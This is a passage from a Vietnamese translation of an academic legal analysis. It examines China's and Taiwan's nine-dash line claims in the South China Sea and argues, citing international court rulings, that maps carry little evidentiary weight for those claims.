hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng 